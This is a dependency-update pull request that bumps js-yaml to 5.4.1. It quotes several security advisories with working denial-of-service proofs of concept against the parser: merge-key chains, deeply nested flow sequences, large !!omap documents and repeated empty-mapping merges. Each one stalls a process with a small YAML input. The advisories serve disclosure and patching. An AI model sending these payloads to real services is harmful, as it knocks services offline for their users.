deps(openapi-express-viewer): update dependency js-yaml to v5.4.1 [security]

[mapcolonies-devops]

This PR contains the following updates:

Package	Change	Age	Confidence
js-yaml	5.2.1 → 5.4.1

---

js-yaml: YAML merge-key chains can force quadratic CPU consumption

CVE-2026-59869 / GHSA-52cp-r559-cp3m

More information

Details

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m
• https://nvd.nist.gov/vuln/detail/CVE-2026-59869
• https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7
• https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4
• https://github.com/nodeca/js-yaml/releases/tag/3.15.0
• https://github.com/nodeca/js-yaml/releases/tag/4.3.0
• https://github.com/advisories/GHSA-52cp-r559-cp3m

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

js-yaml: Exponential parsing time in flow collections leads to denial of service

CVE-2026-73643 / GHSA-pm4m-ph32-ghv5

More information

Details

Summary

Parsing a small YAML document can take exponential time. An application that calls load() or loadAll() on untrusted input can be hung by a payload under 200 bytes.

Details

When an entry in a flow sequence turns out to be a key: value pair, the parser rewinds and parses that entry a second time as the key.
If the key is itself a nested flow sequence of the same shape, every level is parsed twice, so the total work is O(2^n) in the nesting depth. The default maxDepth of 100 does not help, because the time is already unmanageable at about 30 to 40 levels.

Root cause, potentially the: readFlowCollection in parser.ts, the restoreState followed by a second parseNode further down.

PoC

const yaml = require('js-yaml')
const n = 30
yaml.load('[ '.repeat(n) + '1' + ' ]: 0'.repeat(n))

With default options: 22 levels takes about 1 second, 26 levels about 17 seconds, 30 levels over 2 minutes. The input stays under 200 bytes and grows linearly with n.

Impact

Denial of service. A single small request can keep one CPU busy for minutes or longer and blocks the Node event loop, so one request can stall the whole process. No anchors, aliases, merges, tags, or non default options are required, and it reproduces on the default schema.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/nodeca/js-yaml/security/advisories/GHSA-pm4m-ph32-ghv5
• https://github.com/nodeca/js-yaml/commit/3e5240f9cbe645ce5afb58524954a13c8539c853
• https://github.com/nodeca/js-yaml/releases/tag/5.2.2
• https://github.com/advisories/GHSA-pm4m-ph32-ghv5

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported

GHSA-5p4m-2wfm-xmqj

More information

Details

Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)

Summary

resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear
scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution
O(n²) in the number of entries. A modestly sized YAML document therefore
consumes disproportionate CPU inside yaml.load(), giving a denial of service
against any consumer that parses untrusted YAML.

!!omap is registered in the default schema
(lib/schema/default.js → require('../type/omap')), so a plain
yaml.load(untrustedInput) with no options is affected — no custom schema or
non-default configuration is required.

This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was
fixed in the 5.x line in 5.2.1. That fix was never backported: both currently
maintained legacy lines still carry the original implementation.

Affected versions

Line	Latest tested	Status
3.x	3.15.0	Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:29
4.x	4.3.0	Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:30
5.x	5.2.2	Not affected — fixed in 5.2.1 (uses a Set)

Both figures are the newest release of each line at the time of writing, so
this is not a "you are on an old version" issue.

Details

lib/type/omap.js (js-yaml 4.3.0):

if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false

objectKeys grows by one element per entry, and Array.prototype.indexOf is a
linear scan, so resolving an n-entry !!omap performs roughly
1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously
inside yaml.load(), blocking the event loop for its whole duration.

The 5.x line already solves exactly this by tracking seen keys in a Set
(src/tag/sequence/omap.ts):

if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)

Proof of concept

// poc.js  —  node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';

for (const n of [10000, 20000, 40000, 80000]) {
  const d = doc(n), t = Date.now();
  yaml.load(d);                      // default schema, no options
  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}

Measured (node v20.20.2, default heap, no flags)

js-yaml 4.3.0

n=10000  bytes=137787   load=54ms
n=20000  bytes=297787   load=169ms
n=40000  bytes=617787   load=646ms
n=80000  bytes=1257787  load=2607ms

js-yaml 3.15.0

n=10000  bytes=137787   load=53ms
n=20000  bytes=297787   load=166ms
n=40000  bytes=617787   load=641ms
n=80000  bytes=1257787  load=2567ms

Runtime grows by a factor of ~4 for each doubling of n, which is the
signature of O(n²) (linear growth would be ~2×).

Scaling further: a 2.48 MB document with 150,000 entries blocked
yaml.load() for 10.8 seconds.

Impact

Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be
stalled with a small input. Because the loop is synchronous, a single request
blocks the Node.js event loop and stalls every other request in the process —
so the amplification is per-process, not just per-request.

Suggested severity: consistent with CVE-2026-59870 (the same weakness in
5.x), i.e. Availability-only impact, network attack vector, no privileges or
user interaction required.

Suggested fix

Mirror the 5.x fix — replace the linear scan with a Set:

// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)

This preserves the existing duplicate-key rejection semantics exactly while
making resolution O(n). A maxOmapLength-style cap would also work, but the
Set matches what 5.x already ships and requires no new option.

References

• CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1
• lib/type/omap.js (3.x, 4.x) — the affected resolver
• lib/schema/default.js — registers !!omap in the default schema

Discovery

Found by an automated static-analysis and executed-proof-of-concept scanner run
against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by
executing the proof of concept above. All timings in this report were measured
on the current releases of each line, not on the version originally scanned.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/nodeca/js-yaml/security/advisories/GHSA-5p4m-2wfm-xmqj
• https://github.com/advisories/GHSA-5p4m-2wfm-xmqj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

CVE-2026-84375 / GHSA-2883-xcg3-v3hh

More information

Details

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

N	YAML size	Time
800	~13 KB	~20 ms
3200	~50 KB	~180 ms
20000	~500 KB	~13 s

Impact

An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count each merge-source mapping as one budget unit, in addition to counting its keys.

Difference with v5

In v3 & v4, merge is enabled by default. So, the severity score is higher.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hh
• https://nvd.nist.gov/vuln/detail/CVE-2026-84375
• https://github.com/nodeca/js-yaml/pull/797
• https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639
• https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480
• https://github.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6b
• https://github.com/nodeca/js-yaml/releases/tag/3.15.2
• https://github.com/nodeca/js-yaml/releases/tag/4.3.2
• https://github.com/advisories/GHSA-2883-xcg3-v3hh

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

GHSA-r3ph-w7gj-g6xm

More information

Details

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

N	YAML size	Time
800	~13 KB	~20 ms
3200	~50 KB	~180 ms
20000	~500 KB	~13 s

Impact

When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count every merge source mapping as one budget unit in addition to counting its keys.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

• https://github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm
• https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480
• https://github.com/nodeca/js-yaml/releases/tag/5.4.1
• https://github.com/advisories/GHSA-r3ph-w7gj-g6xm

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

nodeca/js-yaml (js-yaml)

v5.4.1

Compare Source

Changed

• Hard-limit merge sequence size to 100.

Security

• Count empty mappings in merge sequences toward maxTotalMergeKeys to limit
  CPU usage, #​797.

v5.4.0

Compare Source

Added

• Added the scalarStyleRules dumper option to customize string formatting.
  See Scalar styling for details.

Changed

• [breaking] Flattened the low-level AST node style representation. Scalar
  and collection nodes now use SCALAR_STYLE and COLLECTION_STYLE values;
  explicit tags use the separate tagged property. Alias nodes now contain
  only kind and anchor. This only affects code that directly constructs or
  edits AST nodes.
• [breaking] The sortKeys option was rewritten using AST mutation to avoid
  side effects.
• Reworked scalar style selection. This can change formatting without changing
  loaded values; in particular, whitespace-only strings are now double-quoted.

Fixed

• Accept a byte order mark at the start of each document in a stream, #​791.
• Produce valid flow mappings with quoteFlowKeys and flowSkipColonSpace,
  including alias and property-only keys, #​786.
• Preserve empty scalar items when converting block sequences to flow style.
• Do not apply the 1024-character simple-key limit to flow mapping keys.
• Count Unicode code points, rather than UTF-16 code units, for the
  1024-character simple-key limit.
• Add an explicit document-end marker after keep-chomped block scalars when
  needed to preserve trailing newlines.

v5.3.0

Compare Source

This release focuses on reworking the documentation and making small
architectural improvements before moving forward.

Added

• Added completely new documentation.
• Exported DUMP_SCHEMA, the default schema used by the dumper.
• Added YAMLException.throwAt() for throwing an error at a source position.

Changed

• Changed flat constant exports to grouped exports: EVENT_ID, SCALAR_STYLE,
  COLLECTION_STYLE, and CHOMPING_MODE, along with their value types. The old
  exports are still preserved, but deprecated.
• Made identify mandatory for custom tag definitions. Use
  identify: () => false for load-only tags.

Deprecated

• Deprecated flat constant exports. Use grouped ones instead.

Removed

• Removed the MERGE_KEY export (not used anymore after last fixes).

Fixed

• Validate << sequence items at merge time, so aliased merge sources are
  checked too.
• Resolve << outside of a mapping key as the plain string '<<', matching
  v4, instead of leaking an internal symbol into the result.

v5.2.3

Compare Source

Fixed

• Prevent prototype fallback when resolving tags and mapping entries, #​782.
• Resolve !!timestamp years 0000-0099 correctly, #​775.
• Preserve implicit null mapping values before document markers and reject
  unpaired mapping event streams, #​784.
• Preserve folded scalar values with tab-indented lines when round-tripping a
  parsed AST through present(); dump() and loading are unaffected, #​780.

v5.2.2

Compare Source

Fixed

• Quote flow scalars where a colon precedes a flow indicator, #​773.

Security

• Avoid exponential parsing time for nested flow sequence pairs.

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